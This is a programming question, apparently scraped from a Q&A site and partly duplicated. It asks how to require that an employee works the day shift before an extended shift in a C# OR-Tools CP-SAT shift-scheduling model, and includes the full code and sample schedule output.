An employee can work between 45 and 60 hours a week- working

And I am getting close to my goal I am running into issue regarding a constraint that an employee can only work the extended shift if they worked the day shift.

Here is my code

```// Copyright 2010-2021 Google LLC
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
//     http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using Cron.DriverShiftScheduler;
using Google.OrTools.Sat;
using Google.Protobuf.WellKnownTypes;

///
/// Creates a shift scheduling problem and solves it
///
public class ShiftSchedulingSat
{
    static void Main(string[] args)
    {
        int numEmployees = 8;
        SolveShiftScheduling(numEmployees);
    }

    static void SolveShiftScheduling(int numEmployees)
    {

        int numWeeks = 1;
        var shifts = new[] { "O", "D", "N" };

        // Shift constraints on continuous sequence :
        //     (shift, hard_min, soft_min, min_penalty,
        // soft_max, hard_max, max_penalty)
        var shiftConstraints =
            new (int Shift, int HardMin, int SoftMin, int MinPenalty, int SoftMax, int HardMax, int MaxPenalty)[] {
                // One or two consecutive days of rest, this is a hard constraint.
                (0, 1, 1, 0, 2, 2, 0),
                (1, 2, 2, 0, 3, 3, 0),
                 //(2, 2, 2, 0, 3, 3, 0),
                // Between 2 and 3 consecutive days of night shifts, 1 and 4 are
                // possible but penalized.
                //(2, 1, 2, 0, 3, 3, 0),
            };

        // Weekly sum constraints on shifts days:
        //     (shift, hardMin, softMin, minPenalty,
        // softMax, hardMax, maxPenalty)
        var weeklySumConstraints =
            new (int Shift, int HardMin, int SoftMin, int MinPenalty, int SoftMax, int HardMax, int MaxPenalty)[] {
                // Constraints on rests per week.
                (0, 1, 2, 7, 2, 3, 4),
              // (1, 1, 2, 7, 4, 5, 6),
               // (2, 1, 2, 7, 4, 5, 6),
                 // At least 1 night shift per week (penalized). At most 4 (hard).
              //  (2, 0, 1, 3, 3, 3, 0),
            };
        // Penalized transitions:
        //     (previous_shift, next_shift, penalty (0 means forbidden))
        var penalizedTransitions = new (int PreviousShift, int NextShift, int Penalty)[] {
            // Afternoon to night has a penalty of 4.
            (1, 2, 3)
        };

        // daily demands for work shifts (morning, afternon, night) for each day
        // of the week starting on Monday.
        var weeklyCoverDemands = new int[][] {
            new[] { 12, 6 }, // Monday
            new[] { 12, 6 }, // Tuesday
            new[] { 12, 6 }, // Wednesday
            new[] { 12, 6 }, // Thursday
            new[] { 12, 6 }, // Friday
            new[] { 9, 6 }, // Saturday
            new[] { 9, 6 }, // Sunday
        };

        // Penalty for exceeding the cover constraint per shift type.
        var excessCoverPenalties = new[] { 0, 0 };

        var numDays = numWeeks * 7;
        var numShifts = shifts.Length;

        var model = new CpModel();

        BoolVar[,,] work = new BoolVar[numEmployees, numShifts, numDays];

        foreach (int e in Range(numEmployees))
        {
            foreach (int s in Range(numShifts))
            {
                foreach (int d in Range(numDays))
                {
                    work[e, s, d] = model.NewBoolVar($"work{e}_{s}_{d}");
                }
            }
        }

        // Linear terms of the objective in a minimization context.
        LinearExprBuilder obj = LinearExpr.NewBuilder();

        // Exactly one shift per day.
        foreach (int e in Range(numEmployees))
        {
            foreach (int d in Range(numDays))
            {
                var temp = new BoolVar[numShifts];
                foreach (int s in Range(numShifts))
                {
                    temp[s] = work[e, s, d];
                }
                /*model.Add(LinearExpr.Sum(temp) == 1);*/
               // model.Add(LinearExpr.Sum(temp) >= 1);
                model.Add(LinearExpr.Sum(temp) <= 2);
            }
        }

        // Shift constraints
        foreach (var constraint in shiftConstraints)
        {
            foreach (int e in Range(numEmployees))
            {
                var works = new BoolVar[numDays];
                foreach (int d in Range(numDays))
                {
                    works[d] = work[e, constraint.Shift, d];
                }

                var (variables, coeffs) = AddSoftSequenceConstraint(
                    model, works, constraint.HardMin, constraint.SoftMin, constraint.MinPenalty, constraint.SoftMax,
                    constraint.HardMax, constraint.MaxPenalty,
                    $"shift_constraint(employee {e}, shift {constraint.Shift}");

                obj.AddWeightedSum(variables, coeffs);
            }
        }

        // Weekly sum constraints
        foreach (var constraint in weeklySumConstraints)
        {
            foreach (int e in Range(numEmployees))
            {
                foreach (int w in Range(numWeeks))
                {
                    var works = new BoolVar[7];

                    foreach (int d in Range(7))
                    {
                        works[d] = work[e, constraint.Shift, d + w * 7];
                    }

                    var (variables, coeffs) = AddSoftSumConstraint(
                        model, works, constraint.HardMin, constraint.SoftMin, constraint.MinPenalty, constraint.SoftMax,
                        constraint.HardMax, constraint.MaxPenalty,
                        $"weekly_sum_constraint(employee {e}, shift {constraint.Shift}, week {w}");

                    obj.AddWeightedSum(variables, coeffs);
                }
            }
        }

        // Penalized transitions
        foreach (var penalizedTransition in penalizedTransitions)
        {
            foreach (int e in Range(numEmployees))
            {
                foreach (int d in Range(numDays - 1))
                {
                    var transition = new List<ILiteral>() { work[e, penalizedTransition.PreviousShift, d].Not(),
                                                            work[e, penalizedTransition.NextShift, d + 1].Not() };

                    if (penalizedTransition.Penalty == 0)
                    {
                        model.AddBoolOr(transition);
                    }
                    else
                    {
                        var transVar = model.NewBoolVar($"transition (employee {e}, day={d}");
                        transition.Add(transVar);
                        model.AddBoolOr(transition);
                        obj.AddTerm(transVar, penalizedTransition.Penalty);
                    }
                }
            }
        }

        // Cover constraints
        foreach (int s in Range(1, numShifts))
        {
            foreach (int w in Range(numWeeks))
            {
                foreach (int d in Range(7))
                {
                    var works = new BoolVar[numEmployees];
                    foreach (int e in Range(numEmployees))
                    {
                        works[e] = work[e, s, w * 7 + d];
                    }

                    // Ignore off shift
                    var minDemand = weeklyCoverDemands[d][s - 1];
                    var worked = model.NewIntVar(minDemand, numEmployees, "");
                    model.Add(LinearExpr.Sum(works) == worked);

                    var overPenalty = excessCoverPenalties[s - 1];
                    if (overPenalty > 0)
                    {
                        var name = $"excess_demand(shift={s}, week={w}, day={d}";
                        var excess = model.NewIntVar(0, numEmployees - minDemand, name);
                        model.Add(excess == worked - minDemand);
                        obj.AddTerm(excess, overPenalty);
                    }
                }
            }
        }

        // Objective
        model.Minimize(obj);

        // Solve model
        var solver = new CpSolver();
        solver.StringParameters = "num_search_workers:8, log_search_progress: true, max_time_in_seconds:30";

        var status = solver.Solve(model);

        // Print solution
        if (status == CpSolverStatus.Optimal || status == CpSolverStatus.Feasible)
        {
            List<DriverShift> driverShiftList = new();
            Console.WriteLine();

            foreach (int e in Range(numEmployees))
            {
                DriverShift driverShift = new();
                driverShift.driverNumber = e;
                foreach (int d in Range(numDays))
                {

                    DriverShiftDay driverShiftDay = new();
                    driverShiftDay.shiftDay = d;
                    foreach (int s in Range(numShifts))
                    {
                        DriverShiftSlot driverShiftSlot = null;
                        if (solver.BooleanValue(work[e, s, d]))
                        {
                            driverShiftSlot = new();

                            driverShiftSlot.shiftStartTime = new TimeOnly(08, 00, 00);
                            if (shifts[s] == "D")
                                driverShiftSlot.shiftEndTime = new TimeOnly(17, 00, 00);
                            if (shifts[s] == "N")
                                driverShiftSlot.shiftEndTime = new TimeOnly(20, 00, 00);
                            if (shifts[s] == "O")
                            {
                                driverShiftSlot.shiftStartTime = new TimeOnly(00, 00, 00);
                                driverShiftSlot.shiftEndTime = new TimeOnly(00, 00, 00);

                            }
                            TimeSpan duration = driverShiftSlot.shiftEndTime - driverShiftSlot.shiftStartTime;
                            driverShiftSlot.shiftLength = duration.Hours;

                        }
                        if (driverShiftSlot != null)
                            driverShiftDay.driverShiftSlots.Add(driverShiftSlot);
                    }
                    driverShift.driverShiftDayList.Add(driverShiftDay);
                }
                driverShiftList.Add(driverShift);

            }
            //var header = "          ";
            //for (int w = 0; w < numWeeks; w++)
            //{
            //    header += "M T W T F S S ";
            //}
            //Console.WriteLine(header);
            var csv = new StringBuilder();
            var dayschedule = "";
            var nightschedule = "";
            var csvline = "";
            var nightline = "";
            csvline += String.Format("Driver,Day,Shift Start,Shift End,Duration");
            csv.AppendLine(csvline);
            Console.WriteLine("Driver  Day  Shift Start Shift End Duration");
            foreach (DriverShift driverShiftObj in driverShiftList)
            {
                foreach (DriverShiftDay driverShiftDayObj in driverShiftObj.driverShiftDayList)
                {
                    csvline = "";
                    nightline = "";
                    dayschedule = "";
                    nightschedule = "";
                    csvline += String.Format("{0},", driverShiftObj.driverNumber);
                     nightline += String.Format("{0},", driverShiftObj.driverNumber);
                    dayschedule += String.Format("{0}       ", driverShiftObj.driverNumber);
                     nightschedule += String.Format("{0}       ", driverShiftObj.driverNumber);
                    DriverShiftSlot driverShiftSlotOFFObj = driverShiftDayObj.driverShiftSlots.Where(x => x.shiftStartTime == new TimeOnly(00, 00, 00)).FirstOrDefault();

                    if (driverShiftSlotOFFObj != null)
                    {
                        csvline += String.Format("{0},", driverShiftDayObj.shiftDay + 1);
                        csvline += String.Format("{0},", new TimeOnly(00, 00, 00));
                        csvline += String.Format("{0},", new TimeOnly(00, 00, 00));
                        csvline += String.Format("0  ");
                        dayschedule += String.Format("{0}    ", driverShiftDayObj.shiftDay + 1);
                        dayschedule += String.Format("{0}        ", new TimeOnly(00, 00, 00));
                        dayschedule += String.Format("{0}  ", new TimeOnly(00, 00, 00));
                        dayschedule += String.Format("0  ");

                    }
                    else
                    {
                        DriverShiftSlot driverShiftDaySlotObj = driverShiftDayObj.driverShiftSlots.Where(x => x.shiftEndTime == new TimeOnly(17, 00, 00)).FirstOrDefault();
                        if (driverShiftDaySlotObj != null)
                        {
                            csvline += String.Format("{0},", driverShiftDayObj.shiftDay + 1);
                            csvline += String.Format("{0},", driverShiftDaySlotObj.shiftStartTime);
                            csvline += String.Format("{0},", driverShiftDaySlotObj.shiftEndTime);
                            csvline += String.Format("{0}", driverShiftDaySlotObj.shiftLength);
                            dayschedule += String.Format("{0}    ", driverShiftDayObj.shiftDay + 1);
                            dayschedule += String.Format("{0}        ", driverShiftDaySlotObj.shiftStartTime);
                            dayschedule += String.Format("{0}  ", driverShiftDaySlotObj.shiftEndTime);
                            dayschedule += String.Format("{0}  ", driverShiftDaySlotObj.shiftLength);

                        }
                        DriverShiftSlot driverShiftNightSlotObj = driverShiftDayObj.driverShiftSlots.Where(x => x.shiftEndTime == new TimeOnly(20, 00, 00)).FirstOrDefault();
                        if (driverShiftNightSlotObj != null)
                        {
                            nightline += String.Format("{0},", driverShiftDayObj.shiftDay + 1);
                            nightline += String.Format("{0},", driverShiftNightSlotObj.shiftStartTime);
                            nightline += String.Format("{0},", driverShiftNightSlotObj.shiftEndTime);
                            nightline += String.Format("{0}", driverShiftNightSlotObj.shiftLength);
                            nightschedule += String.Format("{0}    ", driverShiftDayObj.shiftDay + 1);
                            nightschedule += String.Format("{0}        ", driverShiftNightSlotObj.shiftStartTime);
                            nightschedule += String.Format("{0}  ", driverShiftNightSlotObj.shiftEndTime);
                            nightschedule += String.Format("{0}  ", driverShiftNightSlotObj.shiftLength);

                        }
                    }
                    csv.AppendLine(csvline);
                    Console.WriteLine(dayschedule);
                    if(nightline.Length>10)
                    csv.AppendLine(nightline);
                    if (nightschedule.Length > 10)
                        Console.WriteLine(nightschedule);

                }

            }
            File.WriteAllText("D:\\Projects\\API Projects\\RTT API Branches\\Pingo OnDemand API DEV\\src\\Cron\\Cron.DriverShiftScheduler\\scheduler" + DateTime.Now.ToString("yyyyMMddhhmmss") + ".csv", csv.ToString());

            Console.WriteLine("Penalties:");

            // foreach (var (i, var) in objBoolVars.Select((x, i) => (i, x)))
            // {
            //     if (solver.BooleanValue(var))
            //     {
            //         var penalty = objBoolCoeffs[i];
            //         if (penalty > 0)
            //         {
            //             Console.WriteLine($"  {var.Name()} violated, penalty={penalty}");
            //         }
            //         else
            //         {
            //             Console.WriteLine($"  {var.Name()} fulfilled, gain={-penalty}");
            //         }
            //     }
            // }

            // foreach (var (i, var) in objIntVars.Select((x, i) => (i, x)))
            // {
            //     if (solver.Value(var) > 0)
            //     {
            //         Console.WriteLine(
            //             $"  {var.Name()} violated by {solver.Value(var)}, linear penalty={objIntCoeffs[i]}");
            //     }
            // }

            Console.WriteLine();
            Console.WriteLine("Statistics");
            Console.WriteLine($"  - status          : {status}");
            Console.WriteLine($"  - conflicts       : {solver.NumConflicts()}");
            Console.WriteLine($"  - branches        : {solver.NumBranches()}");
            Console.WriteLine($"  - wall time       : {solver.WallTime()}");
        }
        else
        {
            numEmployees++;
            SolveShiftScheduling(numEmployees);

        }
    }

    ///
    /// Filters an isolated sub-sequence of variables assigned to True.
    /// Extract the span of Boolean variables[start, start + length), negate them,
    /// and if there is variables to the left / right of this span, surround the
    /// span by them in non negated form.
    ///
    /// <param name="works">A list of variables to extract the span from.</param>
    /// <param name="start">The start to the span.</param>
    /// <param name="length">The length of the span.</param>
    /// <returns>An array of variables which conjunction will be false if the
    /// sub-list is assigned to True, and correctly bounded by variables assigned
    /// to False, or by the start or end of works.</returns>
    static ILiteral[] NegatedBoundedSpan(BoolVar[] works, int start, int length)
    {
        var sequence = new List<ILiteral>();

        if (start > 0)
            sequence.Add(works[start - 1]);

        foreach (var i in Range(length))
            sequence.Add(works[start + i].Not());

        if (start + length < works.Length)
            sequence.Add(works[start + length]);

        return sequence.ToArray();
    }

    ///
    /// Sequence constraint on true variables with soft and hard bounds.
    /// This constraint look at every maximal contiguous sequence of variables
    /// assigned to true. If forbids sequence of length < hardMin or >
    /// hardMax. Then it creates penalty terms if the length is < softMin or
    /// > softMax.
    ///
    /// <param name="model">The sequence constraint is built on this
    /// model.</param> <param name="works">A list of Boolean variables.</param>
    /// <param name="hardMin">Any sequence of true variables must have a length of
    /// at least hardMin.</param> <param name="softMin">Any sequence should have a
    /// length of at least softMin, or a linear penalty on the delta will be added
    /// to the objective.</param> <param name="minCost">The coefficient of the
    /// linear penalty if the length is less than softMin.</param> <param
    /// name="softMax">Any sequence should have a length of at most softMax, or a
    /// linear penalty on the delta will be added to the objective.</param> <param
    /// name="hardMax">Any sequence of true variables must have a length of at
    /// most hardMax.</param> <param name="maxCost">The coefficient of the linear
    /// penalty if the length is more than softMax.</param> <param name="prefix">A
    /// base name for penalty literals.</param> <returns>A tuple (costLiterals,
    /// costCoefficients) containing the different penalties created by the
    /// sequence constraint.</returns>
    static (IEnumerable<BoolVar> costLiterals, IEnumerable<int> costCoefficients)
        AddSoftSequenceConstraint(CpModel model, BoolVar[] works, int hardMin, int softMin, int minCost, int softMax,
                                  int hardMax, int maxCost, string prefix)
    {
        var costLiterals = new List<BoolVar>();
        var costCoefficients = new List<int>();

        // Forbid sequences that are too short.
        foreach (var length in Range(1, hardMin))
        {
            foreach (var start in Range(works.Length - length + 1))
            {
                model.AddBoolOr(NegatedBoundedSpan(works, start, length));
            }
        }

        // Penalize sequences that are below the soft limit.

        if (minCost > 0)
        {
            foreach (var length in Range(hardMin, softMin))
            {
                foreach (var start in Range(works.Length - length + 1))
                {
                    var span = NegatedBoundedSpan(works, start, length).ToList();
                    var name = $": under_span(start={start}, length={length})";
                    var lit = model.NewBoolVar(prefix + name);
                    span.Add(lit);
                    model.AddBoolOr(span);
                    costLiterals.Add(lit);
                    // We filter exactly the sequence with a short length.
                    // The penalty is proportional to the delta with softMin.
                    costCoefficients.Add(minCost * (softMin - length));
                }
            }
        }

        // Penalize sequences that are above the soft limit.
        if (maxCost > 0)
        {
            foreach (var length in Range(softMax + 1, hardMax + 1))
            {
                foreach (var start in Range(works.Length - length + 1))
                {
                    var span = NegatedBoundedSpan(works, start, length).ToList();
                    var name = $": over_span(start={start}, length={length})";
                    var lit = model.NewBoolVar(prefix + name);
                    span.Add(lit);
                    model.AddBoolOr(span);
                    costLiterals.Add(lit);
                    // Cost paid is max_cost * excess length.
                    costCoefficients.Add(maxCost * (length - softMax));
                }
            }
        }

        // Just forbid any sequence of true variables with length hardMax + 1
        foreach (var start in Range(works.Length - hardMax))
        {
            var temp = new List<ILiteral>();

            foreach (var i in Range(start, start + hardMax + 1))
            {
                temp.Add(works[i].Not());
            }

            model.AddBoolOr(temp);
        }

        return (costLiterals, costCoefficients);
    }

    ///
    /// Sum constraint with soft and hard bounds.
    /// This constraint counts the variables assigned to true from works.
    /// If forbids sum < hardMin or > hardMax.
    /// Then it creates penalty terms if the sum is < softMin or > softMax.
    ///
    /// <param name="model">The sequence constraint is built on this
    /// model.</param> <param name="works">A list of Boolean variables.</param>
    /// <param name="hardMin">Any sequence of true variables must have a length of
    /// at least hardMin.</param> <param name="softMin">Any sequence should have a
    /// length of at least softMin, or a linear penalty on the delta will be added
    /// to the objective.</param> <param name="minCost">The coefficient of the
    /// linear penalty if the length is less than softMin.</param> <param
    /// name="softMax">Any sequence should have a length of at most softMax, or a
    /// linear penalty on the delta will be added to the objective.</param> <param
    /// name="hardMax">Any sequence of true variables must have a length of at
    /// most hardMax.</param> <param name="maxCost">The coefficient of the linear
    /// penalty if the length is more than softMax.</param> <param name="prefix">A
    /// base name for penalty literals.</param> <returns>A tuple (costVariables,
    /// costCoefficients) containing the different penalties created by the
    /// sequence constraint.</returns>
    static (IEnumerable<IntVar> costVariables, IEnumerable<int> costCoefficients)
        AddSoftSumConstraint(CpModel model, BoolVar[] works, int hardMin, int softMin, int minCost, int softMax,
                             int hardMax, int maxCost, string prefix)
    {
        var costVariables = new List<IntVar>();
        var costCoefficients = new List<int>();
        var sumVar = model.NewIntVar(hardMin, hardMax, "");
        // This adds the hard constraints on the sum.
        model.Add(sumVar == LinearExpr.Sum(works));

        var zero = model.NewConstant(0);

        // Penalize sums below the soft_min target.

        if (softMin > hardMin && minCost > 0)
        {
            var delta = model.NewIntVar(-works.Length, works.Length, "");
            model.Add(delta == (softMin - sumVar));
            var excess = model.NewIntVar(0, works.Length, prefix + ": under_sum");
            model.AddMaxEquality(excess, new[] { delta, zero });
            costVariables.Add(excess);
            costCoefficients.Add(minCost);
        }

        // Penalize sums above the soft_max target.
        if (softMax < hardMax && maxCost > 0)
        {
            var delta = model.NewIntVar(-works.Length, works.Length, "");
            model.Add(delta == sumVar - softMax);
            var excess = model.NewIntVar(0, works.Length, prefix + ": over_sum");
            model.AddMaxEquality(excess, new[] { delta, zero });
            costVariables.Add(excess);
            costCoefficients.Add(maxCost);
        }

        return (costVariables, costCoefficients);
    }

    ///
    /// C# equivalent of Python range (start, stop)
    ///
    /// <param name="start">The inclusive start.</param>
    /// <param name="stop">The exclusive stop.</param>
    /// <returns>A sequence of integers.</returns>
    static IEnumerable<int> Range(int start, int stop)
    {
        foreach (var i in Enumerable.Range(start, stop - start))
            yield return i;
    }

    ///
    /// C# equivalent of Python range (stop)
    ///
    /// <param name="stop">The exclusive stop.</param>
    /// <returns>A sequence of integers.</returns>
    static IEnumerable<int> Range(int stop)
    {
        return Range(0, stop);
    }
}
```

Here is the results for the 1st day

-Employee-Day-Shift-Start-Shift-End-Duration-

-0--------1---08:00--------17:00-----9-

-0--------1---08:00--------20:00-----12-

-2--------1---08:00--------20:00-----12-

-3--------1---08:00--------17:00-----9--

-3--------1---08:00--------20:00-----12-

-6--------1---08:00--------17:00-----9--

-6--------1---08:00--------20:00-----12-

-7--------1---08:00--------17:00-----9--

-8--------1---08:00--------17:00-----9--

-8--------1---08:00--------20:00-----12-

-10-------1---08:00--------17:00-----9--

-17-------1---08:00--------17:00-----9--

-17-------1---08:00--------20:00-----12-

As the results show most employees shift continue into the extended shift except for
employee number 2 which did not work the 1st first shift.

Any advise on how to proceed?

Body:
I have been sitting with the or tools shift scheduling sat
https://github.com/google/or-tools/blob/master/examples/dotnet/ShiftSchedulingSat.cs

Currently an employee can work a max of 3 consecutive days- working

An employee can work between 45 and 60 hours a week- working

And I am getting close to my goal I am running into issue regarding a constraint that an employee can only work the extended shift if they worked the day shift.

Here is my code

// Copyright 2010-2021 Google LLC
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
//     http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using Cron.DriverShiftScheduler;
using Google.OrTools.Sat;
using Google.Protobuf.WellKnownTypes;

///
/// Creates a shift scheduling problem and solves it
///
public class ShiftSchedulingSat
{
    static void Main(string[] args)
    {
        int numEmployees = 8;
        SolveShiftScheduling(numEmployees);
    }

    static void SolveShiftScheduling(int numEmployees)
    {

        int numWeeks = 1;
        var shifts = new[] { "O", "D", "N" };

        // Shift constraints on continuous sequence :
        //     (shift, hard_min, soft_min, min_penalty,
        // soft_max, hard_max, max_penalty)
        var shiftConstraints =
            new (int Shift, int HardMin, int SoftMin, int MinPenalty, int SoftMax, int HardMax, int MaxPenalty)[] {
                // One or two consecutive days of rest, this is a hard constraint.
                (0, 1, 1, 0, 2, 2, 0),
                (1, 2, 2, 0, 3, 3, 0),
                 //(2, 2, 2, 0, 3, 3, 0),
                // Between 2 and 3 consecutive days of night shifts, 1 and 4 are
                // possible but penalized.
                //(2, 1, 2, 0, 3, 3, 0),
            };

        // Weekly sum constraints on shifts days:
        //     (shift, hardMin, softMin, minPenalty,
        // softMax, hardMax, maxPenalty)
        var weeklySumConstraints =
            new (int Shift, int HardMin, int SoftMin, int MinPenalty, int SoftMax, int HardMax, int MaxPenalty)[] {
                // Constraints on rests per week.
                (0, 1, 2, 7, 2, 3, 4),
              // (1, 1, 2, 7, 4, 5, 6),
               // (2, 1, 2, 7, 4, 5, 6),
                 // At least 1 night shift per week (penalized). At most 4 (hard).
              //  (2, 0, 1, 3, 3, 3, 0),
            };
        // Penalized transitions:
        //     (previous_shift, next_shift, penalty (0 means forbidden))
        var penalizedTransitions = new (int PreviousShift, int NextShift, int Penalty)[] {
            // Afternoon to night has a penalty of 4.
            (1, 2, 3)
        };

        // daily demands for work shifts (morning, afternon, night) for each day
        // of the week starting on Monday.
        var weeklyCoverDemands = new int[][] {
            new[] { 12, 6 }, // Monday
            new[] { 12, 6 }, // Tuesday
            new[] { 12, 6 }, // Wednesday
            new[] { 12, 6 }, // Thursday
            new[] { 12, 6 }, // Friday
            new[] { 9, 6 }, // Saturday
            new[] { 9, 6 }, // Sunday
        };

        // Penalty for exceeding the cover constraint per shift type.
        var excessCoverPenalties = new[] { 0, 0 };

        var numDays = numWeeks * 7;
        var numShifts = shifts.Length;

        var model = new CpModel();

        BoolVar[,,] work = new BoolVar[numEmployees, numShifts, numDays];

        foreach (int e in Range(numEmployees))
        {
            foreach (int s in Range(numShifts))
            {
                foreach (int d in Range(numDays))
                {
                    work[e, s, d] = model.NewBoolVar($"work{e}_{s}_{d}");
                }
            }
        }

        // Linear terms of the objective in a minimization context.
        LinearExprBuilder obj = LinearExpr.NewBuilder();

        // Exactly one shift per day.
        foreach (int e in Range(numEmployees))
        {
            foreach (int d in Range(numDays))
            {
                var temp = new BoolVar[numShifts];
                foreach (int s in Range(numShifts))
                {
                    temp[s] = work[e, s, d];
                }
                /*model.Add(LinearExpr.Sum(temp) == 1);*/
               // model.Add(LinearExpr.Sum(temp) >= 1);
                model.Add(LinearExpr.Sum(temp) <= 2);
            }
        }

        // Shift constraints
        foreach (var constraint in shiftConstraints)
        {
            foreach (int e in Range(numEmployees))
            {
                var works = new BoolVar[numDays];
                foreach (int d in Range(numDays))
                {
                    works[d] = work[e, constraint.Shift, d];
                }

                var (variables, coeffs) = AddSoftSequenceConstraint(
                    model, works, constraint.HardMin, constraint.SoftMin, constraint.MinPenalty, constraint.SoftMax,
                    constraint.HardMax, constraint.MaxPenalty,
                    $"shift_constraint(employee {e}, shift {constraint.Shift}");

                obj.AddWeightedSum(variables, coeffs);
            }
        }

        // Weekly sum constraints
        foreach (var constraint in weeklySumConstraints)
        {
            foreach (int e in Range(numEmployees))
            {
                foreach (int w in Range(numWeeks))
                {
                    var works = new BoolVar[7];

                    foreach (int d in Range(7))
                    {
                        works[d] = work[e, constraint.Shift, d + w * 7];
                    }

                    var (variables, coeffs) = AddSoftSumConstraint(
                        model, works, constraint.HardMin, constraint.SoftMin, constraint.MinPenalty, constraint.SoftMax,
                        constraint.HardMax, constraint.MaxPenalty,
                        $"weekly_sum_constraint(employee {e}, shift {constraint.Shift}, week {w}");

                    obj.AddWeightedSum(variables, coeffs);
                }
            }
        }

        // Penalized transitions
        foreach (var penalizedTransition in penalizedTransitions)
        {
            foreach (int e in Range(numEmployees))
            {
                foreach (int d in Range(numDays - 1))
                {
                    var transition = new List<ILiteral>() { work[e, penalizedTransition.PreviousShift, d].Not(),
                                                            work[e, penalizedTransition.NextShift, d + 1].Not() };

                    if (penalizedTransition.Penalty == 0)
                    {
                        model.AddBoolOr(transition);
                    }
                    else
                    {
                        var transVar = model.NewBoolVar($"transition (employee {e}, day={d}");
                        transition.Add(transVar);
                        model.AddBoolOr(transition);
                        obj.AddTerm(transVar, penalizedTransition.Penalty);
                    }
                }
            }
        }

        // Cover constraints
        foreach (int s in Range(1, numShifts))
        {
            foreach (int w in Range(numWeeks))
            {
                foreach (int d in Range(7))
                {
                    var works = new BoolVar[numEmployees];
                    foreach (int e in Range(numEmployees))
                    {
                        works[e] = work[e, s, w * 7 + d];
                    }

                    // Ignore off shift
                    var minDemand = weeklyCoverDemands[d][s - 1];
                    var worked = model.NewIntVar(minDemand, numEmployees, "");
                    model.Add(LinearExpr.Sum(works) == worked);

                    var overPenalty = excessCoverPenalties[s - 1];
                    if (overPenalty > 0)
                    {
                        var name = $"excess_demand(shift={s}, week={w}, day={d}";
                        var excess = model.NewIntVar(0, numEmployees - minDemand, name);
                        model.Add(excess == worked - minDemand);
                        obj.AddTerm(excess, overPenalty);
                    }
                }
            }
        }

        // Objective
        model.Minimize(obj);

        // Solve model
        var solver = new CpSolver();
        solver.StringParameters = "num_search_workers:8, log_search_progress: true, max_time_in_seconds:30";

        var status = solver.Solve(model);

        // Print solution
        if (status == CpSolverStatus.Optimal || status == CpSolverStatus.Feasible)
        {
            List<DriverShift> driverShiftList = new();
            Console.WriteLine();

            foreach (int e in Range(numEmployees))
            {
                DriverShift driverShift = new();
                driverShift.driverNumber = e;
                foreach (int d in Range(numDays))
                {

                    DriverShiftDay driverShiftDay = new();
                    driverShiftDay.shiftDay = d;
                    foreach (int s in Range(numShifts))
                    {
                        DriverShiftSlot driverShiftSlot = null;
                        if (solver.BooleanValue(work[e, s, d]))
                        {
                            driverShiftSlot = new();

                            driverShiftSlot.shiftStartTime = new TimeOnly(08, 00, 00);
                            if (shifts[s] == "D")
                                driverShiftSlot.shiftEndTime = new TimeOnly(17, 00, 00);
                            if (shifts[s] == "N")
                                driverShiftSlot.shiftEndTime = new TimeOnly(20, 00, 00);
                            if (shifts[s] == "O")
                            {
                                driverShiftSlot.shiftStartTime = new TimeOnly(00, 00, 00);
                                driverShiftSlot.shiftEndTime = new TimeOnly(00, 00, 00);

                            }
                            TimeSpan duration = driverShiftSlot.shiftEndTime - driverShiftSlot.shiftStartTime;
                            driverShiftSlot.shiftLength = duration.Hours;

                        }
                        if (driverShiftSlot != null)
                            driverShiftDay.driverShiftSlots.Add(driverShiftSlot);
                    }
                    driverShift.driverShiftDayList.Add(driverShiftDay);
                }
                driverShiftList.Add(driverShift);

            }
            //var header = "          ";
            //for (int w = 0; w < numWeeks; w++)
            //{
            //    header += "M T W T F S S ";
            //}
            //Console.WriteLine(header);
            var csv = new StringBuilder();
            var dayschedule = "";
            var nightschedule = "";
            var csvline = "";
            var nightline = "";
            csvline += String.Format("Driver,Day,Shift Start,Shift End,Duration");
            csv.AppendLine(csvline);
            Console.WriteLine("Driver  Day  Shift Start Shift End Duration");
            foreach (DriverShift driverShiftObj in driverShiftList)
            {
                foreach (DriverShiftDay driverShiftDayObj in driverShiftObj.driverShiftDayList)
                {
                    csvline = "";
                    nightline = "";
                    dayschedule = "";
                    nightschedule = "";
                    csvline += String.Format("{0},", driverShiftObj.driverNumber);
                     nightline += String.Format("{0},", driverShiftObj.driverNumber);
                    dayschedule += String.Format("{0}       ", driverShiftObj.driverNumber);
                     nightschedule += String.Format("{0}       ", driverShiftObj.driverNumber);
                    DriverShiftSlot driverShiftSlotOFFObj = driverShiftDayObj.driverShiftSlots.Where(x => x.shiftStartTime == new TimeOnly(00, 00, 00)).FirstOrDefault();

                    if (driverShiftSlotOFFObj != null)
                    {
                        csvline += String.Format("{0},", driverShiftDayObj.shiftDay + 1);
                        csvline += String.Format("{0},", new TimeOnly(00, 00, 00));
                        csvline += String.Format("{0},", new TimeOnly(00, 00, 00));
                        csvline += String.Format("0  ");
                        dayschedule += String.Format("{0}    ", driverShiftDayObj.shiftDay + 1);
                        dayschedule += String.Format("{0}        ", new TimeOnly(00, 00, 00));
                        dayschedule += String.Format("{0}  ", new TimeOnly(00, 00, 00));
                        dayschedule += String.Format("0  ");

                    }
                    else
                    {
                        DriverShiftSlot driverShiftDaySlotObj = driverShiftDayObj.driverShiftSlots.Where(x => x.shiftEndTime == new TimeOnly(17, 00, 00)).FirstOrDefault();
                        if (driverShiftDaySlotObj != null)
                        {
                            csvline += String.Format("{0},", driverShiftDayObj.shiftDay + 1);
                            csvline += String.Format("{0},", driverShiftDaySlotObj.shiftStartTime);
                            csvline += String.Format("{0},", driverShiftDaySlotObj.shiftEndTime);
                            csvline += String.Format("{0}", driverShiftDaySlotObj.shiftLength);
                            dayschedule += String.Format("{0}    ", driverShiftDayObj.shiftDay + 1);
                            dayschedule += String.Format("{0}        ", driverShiftDaySlotObj.shiftStartTime);
                            dayschedule += String.Format("{0}  ", driverShiftDaySlotObj.shiftEndTime);
